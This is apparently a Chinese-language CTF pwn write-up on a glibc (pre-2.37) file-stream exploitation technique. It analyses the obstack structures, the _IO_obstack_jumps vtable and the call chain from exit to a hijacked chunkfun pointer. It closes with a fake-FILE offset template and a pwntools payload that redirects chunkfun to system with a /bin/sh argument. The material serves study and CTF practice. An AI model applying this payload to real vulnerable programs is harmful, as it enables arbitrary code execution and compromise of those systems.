参考了 7resp4ss 师傅的文章
https://tttang.com/archive/1845/#toc__io_obstack_overflow
介绍
范围:2.37之前,因为2.37之后把obstack结构体给删了
条件 :能够泄露libc和heap,一次largebin attack,能触发IO流
通过largebin attack劫持_IO_list_all到堆地址,伪造_IO_file触发_IO_obsatck_overflow
源码分析
obstack结构体如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
|
struct obstack /* control current object in current chunk */
{
long chunk_size; /* preferred size to allocate chunks in */
struct _obstack_chunk *chunk; /* address of current struct obstack_chunk */
char *object_base; /* address of object we are building */
char *next_free; /* where to add next char to current object */
char *chunk_limit; /* address of char after current chunk */
union
{
PTR_INT_TYPE tempint;
void *tempptr;
} temp; /* Temporary for some macros. */
int alignment_mask; /* Mask of alignment for each object. */
/* These prototypes vary based on 'use_extra_arg', and we use
casts to the prototypeless function type in all assignments,
but having prototypes here quiets -Wstrict-prototypes. */
struct _obstack_chunk *(*chunkfun) (void *, long);
void (*freefun) (void *, struct _obstack_chunk *);
void *extra_arg; /* first arg for chunk alloc/dealloc funcs */
unsigned use_extra_arg : 1; /* chunk alloc/dealloc funcs take extra arg */
unsigned maybe_empty_object : 1; /* There is a possibility that the current
chunk contains a zero-length object. This
prevents freeing the chunk if we allocate
a bigger chunk to replace it. */
unsigned alloc_failed : 1; /* No longer used, as we now call the failed
handler on error, but retained for binary
compatibility. */
};
|
_IO_obstack_file结构体
1
2
3
4
5
|
struct _IO_obstack_file
{
struct _IO_FILE_plus file;
struct obstack *obstack;
};
|
就是给_IO_FILE_plus结构图追加了一个obstack结构体类型的指针
_IO_obstack_jumps
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
|
const struct _IO_jump_t _IO_obstack_jumps libio_vtable attribute_hidden =
{
JUMP_INIT_DUMMY,
JUMP_INIT(finish, NULL),
JUMP_INIT(overflow, _IO_obstack_overflow),
JUMP_INIT(underflow, NULL),
JUMP_INIT(uflow, NULL),
JUMP_INIT(pbackfail, NULL),
JUMP_INIT(xsputn, _IO_obstack_xsputn),
JUMP_INIT(xsgetn, NULL),
JUMP_INIT(seekoff, NULL),
JUMP_INIT(seekpos, NULL),
JUMP_INIT(setbuf, NULL),
JUMP_INIT(sync, NULL),
JUMP_INIT(doallocate, NULL),
JUMP_INIT(read, NULL),
JUMP_INIT(write, NULL),
JUMP_INIT(seek, NULL),
JUMP_INIT(close, NULL),
JUMP_INIT(stat, NULL),
JUMP_INIT(showmanyc, NULL),
JUMP_INIT(imbue, NULL)
};
|
该vtable内只存在两个函数,分别为_IO_obstack_overflow、_IO_obstack_xsputn
_IO_obstack_overflow
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
static int
_IO_obstack_overflow (_IO_FILE *fp, int c)
{
struct obstack *obstack = ((struct _IO_obstack_file *) fp)->obstack;
int size;
/* Make room for another character. This might as well allocate a
new chunk a memory and moves the old contents over. */
assert (c != EOF); //关注这里
obstack_1grow (obstack, c);
/* Setup the buffer pointers again. */
fp->_IO_write_base = obstack_base (obstack);
fp->_IO_write_ptr = obstack_next_free (obstack);
size = obstack_room (obstack);
fp->_IO_write_end = fp->_IO_write_ptr + size;
/* Now allocate the rest of the current chunk. */
obstack_blank_fast (obstack, size);
return c;
}
|
可以看到,第二个参数要为0,才能正常执行该函数。而_IO_flush_all_lockp进行调用vtable时,rsi往往是0xffffffff,所以我们看另一个函数
_IO_obstack_xsputn
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
static _IO_size_t
_IO_obstack_xsputn (_IO_FILE *fp, const void *data, _IO_size_t n)
{
struct obstack *obstack = ((struct _IO_obstack_file *) fp)->obstack;
if (fp->_IO_write_ptr + n > fp->_IO_write_end)
{
int size;
/* We need some more memory. First shrink the buffer to the
space we really currently need. */
obstack_blank_fast (obstack, fp->_IO_write_ptr - fp->_IO_write_end);
/* Now grow for N bytes, and put the data there. */
obstack_grow (obstack, data, n);
[...]
}
|
首先获得_IO_obstack_file结构体中的obstack结构体指针作为后面函数运行的参数。然后要绕过fp->_IO_write_ptr + n > fp->_IO_write_end,执行obstack_blank_fast(obstack, fp->_IO_write_ptr - fp->_IO_write_end);,而obstack_blank_fast是个宏定义,源码如下:
obstack_blank_fast&&obstack_grow
1
|
#define obstack_blank_fast(h, n) ((h)->next_free += (n))
|
这对于我们没什么用,然后会执行obstack_grow (obstack, data, n);这个函数,obstack_grow宏定义如下
1
2
3
4
5
6
7
8
9
|
#define obstack_grow(OBSTACK, where, length) \
__extension__ \
({ struct obstack *__o = (OBSTACK); \
int __len = (length); \
if (_o->next_free + __len > __o->chunk_limit) \
_obstack_newchunk (__o, __len); \
memcpy (__o->next_free, where, __len); \
__o->next_free += __len; \
(void) 0; })
|
可以看到,当_o->next_free + __len > __o->chunk_limit
时,调用_obstack_newchunk,_obstack_newchunk函数源码如下:、
_obstack_newchunk
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
void
_obstack_newchunk (struct obstack *h, int length)
{
struct _obstack_chunk *old_chunk = h->chunk;
struct _obstack_chunk *new_chunk;
long new_size;
long obj_size = h->next_free - h->object_base;
long i;
long already;
char *object_base;
/* Compute size for new chunk. */
new_size = (obj_size + length) + (obj_size >> 3) + h->alignment_mask + 100;
if (new_size < h->chunk_size)
new_size = h->chunk_size;
/* Allocate and initialize the new chunk. */
new_chunk = CALL_CHUNKFUN (h, new_size);
[...]
}
|
调用了new_chunk = CALL_CHUNKFUN (h, new_size);
CALL_CHUNKFUN是个宏定义,CALL_CHUNKFUN源码如下:
CALL_CHUNKFUN
1
2
3
4
|
# define CALL_CHUNKFUN(h, size) \
(((h)->use_extra_arg) \
? (*(h)->chunkfun)((h)->extra_arg, (size)) \
: (*(struct _obstack_chunk *(*)(long))(h)->chunkfun)((size)))
|
可以看到当((h)->use_extra_arg不为0时,调用(*(h)->chunkfun)((h)->extra_arg, (size))
从调用_IO_obstack_xsputn开始分析,假设满足上述所有需要绕过的条件,得以下调用链:
1
2
3
4
5
|
_IO_obstack_xsputn
obstack_grow
_obstack_newchunk
CALL_CHUNKFUN(一个宏定义)
(*(h)->chunkfun)((h)->extra_arg, (size))
|
如果通过FSOP触发的话,我们需要劫持vtable到_IO_obstack_jumps+0x20,由于overflow函数的偏移为0x18,xsputn偏移为0x38,所以执行_IO_flush_all_lockp 时,会执行到_IO_obstack_xsputn,假设通过exit进行FSOP,得到以下调用链。
1
2
3
4
5
6
7
8
9
10
|
exit
__run_exit_handlers
fcloseall
_IO_cleanup
_IO_flush_all_lockp
_IO_obstack_xsputn
obstack_grow
_obstack_newchunk
CALL_CHUNKFUN(一个宏定义)
(*(h)->chunkfun)((h)->extra_arg, (size))
|
模板
当满足以下条件的时候可以实现攻击:利用largebin attack伪造_IO_FILE,记完成伪造的chunk为A
- chunk A内偏移为0xd8处设为_IO_obstack_jumps+0x20
(vtable)
- chunk A内偏移为0xe0处设置chunk A的地址作为obstack结构体
(obstack)
- chunk A内偏移为0x18处设为1
(next_free)
- chunk A内偏移为0x20处设为0
(chunk_limit)
- chunk A内偏移为0x48处设为&/bin/sh
(extra_arg)
- chunk A内偏移为0x38处设为system函数的地址
(chunkfun)
- chunk A内偏移为0x28处设为1
(_IO_write_ptr)
- chunk A内偏移为0x30处设为0
(_IO_write_end)
- chunk A内偏移为0x50处设为1
(use_extra_arg)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
fake_file = flat(
{
#0x0: b"/bin/sh",
0xc8: libcbase +libc.sym['_IO_obstack_jumps']+0x20,
0xd0: fake_file_addr,
0x8: 1,
0x10: 0,
0x38: binsh,
0x28: libcbase + libc.sym["system"],
0x18: 1,
0x20: 0,
0x40: 1,
},
filler=b'\x00',
)
|